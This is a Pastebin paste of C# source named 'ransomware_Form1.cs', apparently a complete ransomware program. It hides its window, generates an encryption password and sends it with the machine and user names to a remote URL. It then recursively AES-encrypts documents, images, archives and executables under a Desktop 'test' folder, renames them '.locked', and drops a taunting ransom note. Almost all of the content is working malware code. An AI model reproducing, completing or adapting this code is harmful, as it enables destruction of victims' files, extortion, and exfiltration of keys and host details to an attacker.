Advertisement
op7

ransomware_Form1.cs

op7
Dec 15th, 2016
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.67 KB | None | 0 0
  1. /*
  2.  *
  3.  * Coded by Lester @ii4xd / August 2016  /
  4.  *
  5.  */
  6.  
  7. using System;
  8. using System.Diagnostics;
  9. using System.Collections.Generic;
  10. using System.ComponentModel;
  11. using System.Data;
  12. using System.Drawing;
  13. using System.Linq;
  14. using System.Text;
  15. using System.Threading.Tasks;
  16. using System.Windows.Forms;
  17. using System.Security;
  18. using System.Security.Cryptography;
  19. using System.IO;
  20. using System.Net;
  21. using Microsoft.Win32;
  22. using System.Runtime.InteropServices;
  23. using System.Text.RegularExpressions;
  24.  
  25.  
  26. namespace Lester
  27. {
  28.     public partial class Form1 : Form
  29.     {
  30.         //Url to send encryption password and computer info
  31.         string targetURL = "https://www.example.com/Lester64/write.php?info=";
  32.         string userName = Environment.UserName;
  33.         string computerName = System.Environment.MachineName.ToString();
  34.         string userDir = "C:\\Users\\";
  35.  
  36.  
  37.  
  38.         public Form1()
  39.         {
  40.             InitializeComponent();
  41.         }
  42.  
  43.         private void Form1_Load(object sender, EventArgs e)
  44.         {
  45.             Opacity = 0;
  46.             this.ShowInTaskbar = false;
  47.             //starts encryption at form load
  48.             startAction();
  49.  
  50.         }
  51.  
  52.         private void Form_Shown(object sender, EventArgs e)
  53.         {
  54.             Visible = false;
  55.             Opacity = 100;
  56.         }
  57.  
  58.         //AES encryption algorithm
  59.         public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  60.         {
  61.             byte[] encryptedBytes = null;
  62.             byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  63.             using (MemoryStream ms = new MemoryStream())
  64.             {
  65.                 using (RijndaelManaged AES = new RijndaelManaged())
  66.                 {
  67.                     AES.KeySize = 256;
  68.                     AES.BlockSize = 128;
  69.  
  70.                     var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  71.                     AES.Key = key.GetBytes(AES.KeySize / 8);
  72.                     AES.IV = key.GetBytes(AES.BlockSize / 8);
  73.  
  74.                     AES.Mode = CipherMode.CBC;
  75.  
  76.                     using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  77.                     {
  78.                         cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  79.                         cs.Close();
  80.                     }
  81.                     encryptedBytes = ms.ToArray();
  82.                 }
  83.             }
  84.  
  85.             return encryptedBytes;
  86.         }
  87.  
  88.         //creates random password for encryption
  89.         public string CreatePassword(int length)
  90.         {
  91.             const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  92.             StringBuilder res = new StringBuilder();
  93.             Random rnd = new Random();
  94.             while (0 < length--){
  95.                 res.Append(valid[rnd.Next(valid.Length)]);
  96.             }
  97.             return res.ToString();
  98.         }
  99.  
  100.         //Sends created password target location
  101.         public void SendPassword(string password){
  102.            
  103.             string info = computerName + "-" + userName + " " + password;
  104.             var fullUrl = targetURL + info;
  105.             var conent = new System.Net.WebClient().DownloadString(fullUrl);
  106.         }
  107.  
  108.         //Encrypts single file
  109.         public void EncryptFile(string file, string password)
  110.         {
  111.  
  112.             byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  113.             byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  114.  
  115.             // Hash the password with SHA256
  116.             passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  117.  
  118.             byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  119.  
  120.             File.WriteAllBytes(file, bytesEncrypted);
  121.             System.IO.File.Move(file, file+".locked");
  122.  
  123.            
  124.            
  125.  
  126.         }
  127.  
  128.         //encrypts target directory
  129.         public void encryptDirectory(string location, string password)
  130.         {
  131.            
  132.             //extensions to be encrypt
  133.             var validExtensions = new[]
  134.             {
  135.                 ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".rar", ".zip", ".apk", ".exe", ".mp4", ".mp3", ".deb"
  136.             };
  137.  
  138.             string[] files = Directory.GetFiles(location);
  139.             string[] childDirectories = Directory.GetDirectories(location);
  140.             for (int i = 0; i < files.Length; i++){
  141.                 string extension = Path.GetExtension(files[i]);
  142.                 if (validExtensions.Contains(extension))
  143.                 {
  144.                     EncryptFile(files[i],password);
  145.                 }
  146.             }
  147.             for (int i = 0; i < childDirectories.Length; i++){
  148.                 encryptDirectory(childDirectories[i],password);
  149.             }
  150.            
  151.            
  152.         }
  153.  
  154.         public void startAction()
  155.         {
  156.             string password = CreatePassword(15);
  157.             string path = "\\Desktop\\test";
  158.             string startPath = userDir + userName + path;
  159.             SendPassword(password);
  160.             encryptDirectory(startPath,password);
  161.             messageCreator();
  162.             password = null;
  163.             System.Windows.Forms.Application.Exit();
  164.         }
  165.  
  166.         public void messageCreator()
  167.         {
  168.             string path = "\\Desktop\\test\\READ_IT.txt";
  169.             string fullpath = userDir + userName + path;
  170.             string[] lines = { "Files has been encrypted with Lester ;) ", "LLOOOOOOOOOOOOOOOOOOOOOOOOOOL", "Twitter: ii4xd " };
  171.             System.IO.File.WriteAllLines(fullpath, lines);
  172.         }
  173.     }
  174. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement